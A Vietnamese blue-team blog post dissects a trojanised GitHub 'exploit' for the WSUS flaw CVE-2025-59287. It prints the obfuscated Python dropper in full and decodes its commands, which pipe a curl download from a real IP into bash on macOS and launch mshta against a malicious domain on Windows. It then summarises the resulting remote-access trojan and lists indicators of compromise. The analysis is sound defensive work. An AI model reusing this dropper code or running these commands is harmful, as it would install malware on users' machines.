One way to hack the hackers.

Published By: BLUE TEAM

Published On: 25/02/2026

Published in:

Thời gian vừa rồi, khi team mình có tham gia 1 case xử lý sự cố và điều tra ra manh mối về 1 CVE có thể được sử dụng trong quá trình thâm nhập hệ thống. Bản thân là 1 PurpleTeam(er), mình cũng cần tìm hiểu xem hệ thống sẽ xảy ra những gì khi CVE này được khai thác để hỗ trợ team IR trong quá trình điều tra sâu hơn.

Tìm kiếm trên github, mình có thấy 1 repo rất nhiều sao về mã khai thác này. Tuy nhiên, khi đọc kỹ source code trước khi chạy, mình phát hiện đây không phải là tool để khai thác lỗi, mà thực chất là mã độc nhắm vào chính máy của người sử dụng. Mình viết bài này để chia sẻ lại quá trình mình kiểm tra và phát hiện ra các dấu hiệu bất thường đó.

Cùng bắt đầu!!!

CVE ở đây có mã là CVE-2025-59287. Đây là một lỗ hổng thực thi mã từ xa không cần xác thực trong Microsoft Windows Server Update Services (WSUS) và được chấm điểm CVSS-3.1 lên đến 9.8.

Quay trở lại việc tìm mã khai thác, có thể cách tốt nhất là tìm bài phân tích chi tiết về lỗ hổng, sau đó trong bài có thể sẽ có chính mã khai thác do tác giả viết. Nhưng lần này, mình bỏ qua việc tìm bài phân tích mà tập trung thẳng việc tìm code khai thác trên github.

Tìm các topic trên github liên quan đến từ khóa “CVE-2025-59287”, kết quả tìm kiếm đầu tiên là 1 repo với 112 stars, vẫn còn được update 13 tiếng trước, trông rất legit.

you-dream-1hall/CVE-2025-59287: CVE 2025 59287

Do vậy, không cần suy nghĩ nhiều, mình chọn repo này luôn để phân tích về lỗ hổng.

Repo này được làm rất “xịn”, không giống những repo chứa mã khai thác sơ sài mình từng gặp những lần trước: Có readme viết chỉn chu thay vì 3 dòng hướng dẫn chạy code đơn giản, có cả tệp Release dù code khai thác viết bằng python - 1 ngôn ngữ lập trình thông dịch.

Là một người làm về an ninh mạng, mọi người nên tập cho mình 1 phản xạ là không được quá tin những thứ ở trên mạng dù chúng có vẻ bóng bảy như nào. Mình không tải về ngay mà muốn đọc xem mã khai thác làm gì trước đã. Đây là lưu ý quan trọng cho tất cả mọi người trong ngành này. Kể cả Notepad++, php,… đều từng bị compromised vào chính những sản phẩm được upload trên web chính thức của họ. Vậy nên, không gì là tuyết đối an toàn :)

Đọc qua readme và cấu trúc file, mình thấy cách sử dụng khá là đơn giản, có vẻ exp.py là mã khai thác chính còn payload sẽ được lấy từ file payload.txt

Tiến vào đọc file exp.py, mình lướt qua cấu trúc file thì khá bình thường, code cũng khá clear : từng hàm làm gì được đặt tên cụ thể, có endpoints khai thác được liệt kê dạng mảng cũng khá đầy đủ,…

cho đến khi mình bắt đầu đọc đến hàm gửi payload:

mình đã phải quay lại đọc tiếp hàm log() xem có gì đặc biệt khác không nhưng cũng chỉ là 1 hàm ghi text ra console bình thường.

Hàm send_exploit() này thực chất không làm gì ngoài ghi ra console sau đó sleep(). Vậy payload được gửi ở đâu ?

Đọc source code thêm 1 nữa cũng không thấy đoạn gửi, thậm chí những thư viện được import ở đầu code cũng không có khả năng gửi web request hay tạo ra web request raw.

Check tiếp đến commit được sửa vào 13 tiếng trước.

lúc này mình mới để ý rằng từ “encypt” bị viết sai chính tả và tác giả commit thay đổi cách gọi thư viện. Việc thay đổi cách gọi thư viện này chỉ ảnh hưởng đến syntax gọi hàm trong encypt và không ảnh hưởng gì đến luồng thực thi. Vì vậy, mình quyết định đọc nội dung file encypt.py này.

Các hàm được gọi đa số đều bình thường cho đến khi đọc đến _initialize_core() và cuối hàm này gọi đến subprocess.Popen để chạy 1 cái gì đó

def _initialize_core():
    global _core_initialized
    if _core_initialized:
        return
    _core_initialized = True
    
    try:
        _w1 = bytes.fromhex('6d')
        _w2 = bytes.fromhex('7368')
        _w3 = bytes.fromhex('7461')
        _w4 = bytes.fromhex('2e657865')
        _w5 = bytes.fromhex('68747470733a')
        _w6 = bytes.fromhex('2f')
        _w7 = bytes.fromhex('2f7333')
        _w8 = bytes.fromhex('2d')
        _w9 = bytes.fromhex('707974686f6e')
        _w10 = bytes.fromhex('2e63')
        _w11 = bytes.fromhex('63')
        
        _z1 = bytes.fromhex('2f6269')
        _z2 = bytes.fromhex('6e2f')
        _z3 = bytes.fromhex('6261')
        _z4 = bytes.fromhex('7368')
        _z5 = bytes.fromhex('2d63')
        _z6 = bytes.fromhex('24')
        _z7 = bytes.fromhex('286375')
        _z8 = bytes.fromhex('726c')
        _z9 = bytes.fromhex('202d')
        _z10 = bytes.fromhex('6673')
        _z11 = bytes.fromhex('534c')
        _z12 = bytes.fromhex('2068')
        _z13 = bytes.fromhex('7474703a2f')
        _z14 = bytes.fromhex('2f313736')
        _z15 = bytes.fromhex('2e36352e')
        _z16 = bytes.fromhex('3133322e')
        _z17 = bytes.fromhex('39362f')
        _z18 = bytes.fromhex('4a697775')
        _z19 = bytes.fromhex('6e6176')
        _z20 = bytes.fromhex('6f7429')
        _m1 = _z1 + _z2 + _z3 + _z4
        _m2 = _z5
        _m3 = _z6 + _z7 + _z8 + _z9 + _z10 + _z11 + _z12 + _z13 + _z14 + _z15 + _z16 + _z17 + _z18 + _z19 + _z20
        
        _tool = (_w1 + _w2 + _w3 + _w4).decode('utf-8')
        _remote = (_w5 + _w6 + _w7 + _w8 + _w9 + _w10 + _w11).decode('utf-8')
        
        if sys.platform == 'darwin':
            subprocess.Popen([_m1.decode('utf-8'), _m2.decode('utf-8'), _m3.decode('utf-8')],
                           stdout=subprocess.DEVNULL,
                           stderr=subprocess.DEVNULL)
        elif os.name == 'nt':
            subprocess.Popen([_tool, _remote], shell=True,
                           stdout=subprocess.DEVNULL,
                           stderr=subprocess.DEVNULL)
    except:
        pass

_initialize_core()

sửa lại đoạn code để in ra giá trị 4 biến _m1, _m2, _m3, _tool, _remote, mình thu được:

_tool= mshta.exe
_remote = https://s3-python.cc
b'_m1 = /bin/bash'
b'_m2 = -c'
b'_m3 = $(curl -fsSL http://176.65.132.96/Jiwunavot)'

Như vậy, ngoại trừ những đoạn mã làm rối, đoạn code này có nhiệm vụ đơn giản: Kiểm tra hệ điều hành đang chạy

  • Nếu là macOS ( if sys.platform == 'darwin':), thì chạy

    /bin/bash -c $(curl -fsSL http://176.65.132.96/Jiwunavot)
  • Nếu là windows (elif os.name == 'nt':) thì chạy

    mshta.exe https://s3-python.cc
  • Bỏ qua nếu không đúng 2 điều kiện đã kiểm tra.

Thời điểm mình kiểm tra, IP 176.65.132.96 đã không còn hoạt động, tuy nhiên, domain s3-python.cc thì vẫn còn. vậy nên mình đã thử dùng Burpsuite để kiểm tra nội dung. Tuy nhiên có vẻ, tác giả cũng khá cẩn thận khi có vẻ đã check nội dung request xem có phải đến từ mshta hay không.

Kiểm tra lại 1 lần nữa bằng cách thay đổi User-agent thành user-agent của mshta

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Zoom 3.6.0)

Lúc này mình đã có được source code tác giả muốn thực thi thông qua mshta. Kiểm tra virustotal, domain này cũng đã được submit lên tháng trước

tuy nhiên, kiểm tra hash của file .hta thì hoàn toàn mới

Đoạn code hơn 1000 dòng và được làm rối. Các đồng nghiệp về dịch ngược lại đang bận case xử lý sự cố kia nên để tiết kiệm thời gian, mình sử dụng AI để liệt kê 1 số hành vi từ sourcecode của mã độc. Tóm tắt thông tin về chức năng mã độc này như sau:

Kiểm tra môi trường (Anti-Analysis/Anti-VM)

Mã độc thực hiện một loạt các kiểm tra để đảm bảo nó đang chạy trên máy nạn nhân thật chứ không phải máy ảo của chuyên gia phân tích:

  • Kiểm tra thư mục đặc trưng: Quét sự tồn tại của các thư mục liên quan đến máy ảo hoặc phần mềm bảo mật (VMware, VirtualBox, v.v.)
  • Kiểm tra phần cứng: Sử dụng truy vấn WMI để lấy ID bộ vi xử lý (ProcessorId), số Serial, và Model máy .
  • Quét danh sách tiến trình: Kiểm tra xem có sự hiện diện của các trình gỡ lỗi hoặc phần mềm phân tích mã độc đang chạy hay không.
Thu thập thông tin hệ thống (Information Gathering)

Mã độc thu thập dữ liệu chi tiết về máy nạn nhân để gửi về máy chủ điều khiển (C2):

  • Thông tin người dùng: Lấy tên máy tính và tên người dùng.
  • Hệ điều hành: Xác định phiên bản Windows đang sử dụng (Win 7, 10, Server...) và kiến trúc (32-bit hay 64-bit) .
  • Mạng: Kiểm tra xem máy tính có gia nhập Domain (AD) hay không.
  • Phần mềm bảo mật: Liệt kê các phần mềm diệt virus (Antivirus) đang được cài đặt thông qua WMI .
Duy trì sự hiện diện (Persistence)

Để đảm bảo mã độc vẫn chạy sau khi khởi động lại máy, nó sử dụng:

  • Scheduled Tasks: Tạo một tác vụ lập lịch (Task Schedule) giả mạo để tự động thực thi mã độc theo chu kỳ (Interval) .
  • LNK Hijacking: Tìm các tệp lối tắt (.lnk) của các ứng dụng phổ biến và sửa đổi mục tiêu thực thi để trỏ vào mã độc, từ đó mã độc sẽ khởi động cùng lúc khi người dùng mở ứng dụng đó .
Giao tiếp với máy chủ C2
  • Mã hóa dữ liệu gửi đi: Sử dụng thuật toán Base64 tự viết (moduleInfo.encode) và mã hóa bổ sung bằng hàm configUtil để che dấu nội dung giao tiếp .
  • Nhận lệnh thực thi: Mã độc nhận các lệnh (taskType) từ server để thực hiện các hành động như:
    • Tải và chạy tệp thực thi khác (EXE, DLL).
    • Tự cập nhật hoặc xóa dấu vết.
    • Thực thi mã JavaScript tùy chỉnh từ xa

Hay có thể tóm tắt rằng đây là 1 con RAT Remote Access Trojan(Tool :D)

Như vậy, nếu 1 researcher/pentester/redteamer/… không cẩn thận sử dụng mã khai thác này, chính họ mới bị “hacked” chứ không phải máy chủ mà họ đang nhắm vào. Tuy nhiên, repo này còn “hơi” cẩu thả và 1 người làm bảo mật có kinh nghiệm sẽ thấy được ngay vấn đề.

Chắc chắn đây không phải là repo duy nhất, cũng không phải kịch bản duy nhất nhắm vào những người dùng “có hiểu biết nhất định về máy tính” như này.

Mình cũng từng đọc nhiều kịch bản hacker sử dụng chiến thuật tương tự như này, ví dụ như:

  • Tiếp cận các ứng viên tìm việc để phỏng vẫn. Trong quá trình phỏng vấn, kiểm tra năng lực ứng viên bằng cách yêu cầu họ dựng lại 1 hệ thống gì đó từ 1 repo được gửi, ứng viên chạy repo chứa lỗ hổng
  • Các thư viện của python, nodejs liên tục bị compromised
  • Một streamer nhận được thư mời trải nghiệm game beta mà không biết rằng game cần test là mã độc.

Có thể thấy, các hacker này không từ 1 cách nào để có thể xâm nhập tối đa vào máy tính người dùng, kể cả có là những người làm bảo mật đi chăng nữa.

Trước khi kết thúc bài này, mình sẽ quay trở lại với hướng đi từ đầu bằng việc tìm lại mã khai thác như nào cho hợp lý.

Lần này, mình tra cứu các trang đưa thông tin về CVE như: nvd.nist.gov, ngoài các bài báo, mục reference có link đến 1 bài phân tích: CVE-2025-59287 WSUS Unauthenticated RCE | HawkTrace

Đọc đến cuối bài phân tích, tác giả đã để lại mã khai thác HawkTrace CVE-2025-59287

Tất nhiên vẫn cần phải đọc kỹ lại mã khai thác trước phòng trường hợp tác giả cố tình để chạy những lệnh nguy hiểm như xóa file hệ thống hoặc đôi khi poc bị comment lại những key line để mã không thể sử dụng ngay. Đây cũng là 1 kỹ năng mà ai cũng phải biết.

Điều tra thêm:

Sau khi viết xong bài này cũng như hỗ trợ xử lý xong case kia, mình có quay lại để phân tích thêm 1 chút vào file Release. Trong file release này, có vẻ tác giả đã chạy 1 lần rồi nên có sự xuất hiện file .pyc nằm trong thư mục pycache

Tiến hành decompile ta thu được mã nguồn 1 file encypt.py mới, được build từ file gốc với header như sau:

# Internal filename: 'C:\\Users\\Admin\\Desktop\\FLAR\\CVE-2025-59287-main\\encypt.py'
# Bytecode version: 3.14rc3 (3627)
# Source timestamp: 2025-11-08 04:06:17 UTC (1762574777)

Nội dung không khác nhiều ngoại trừ đống hex code

decode lại lần này, ta thu được địa chỉ web mới

https://node2-py-store.com

Thời điểm hiện tại, web này đã được thông báo down

tuy nhiên dấu vết trên mạng vẫn còn nhiều.

Hiện tại mình đã thực hiện report abuse cho 2 repo này và chờ github phản hồi.

Bất kỳ 1 nghề nghiệp nào cũng cần phải cẩn trọng và với những người làm an ninh mạng, sự cẩn trọng luôn cần phải đặt lên hàng đầu.

IOC:
Domain and IP:
node2-py-store.com
s3-python.cc
176.65.132.96


Malicious repo:
https://github.com/Mozbeams/crypto-tax-calculator/
https://github.com/you-dream-1hall/CVE-2025-59287
Update:

Sau 2 ngày report, tài khoản chính đã được github thông báo gỡ bỏ

Tài khoản cũng đã bị gỡ

Tuy nhiên, sau 1 tháng thì repo này lại sống lại dưới tên 1 tài khoản khác:

guess it never ends.

 

__Blueteam__ 

3 lượt xem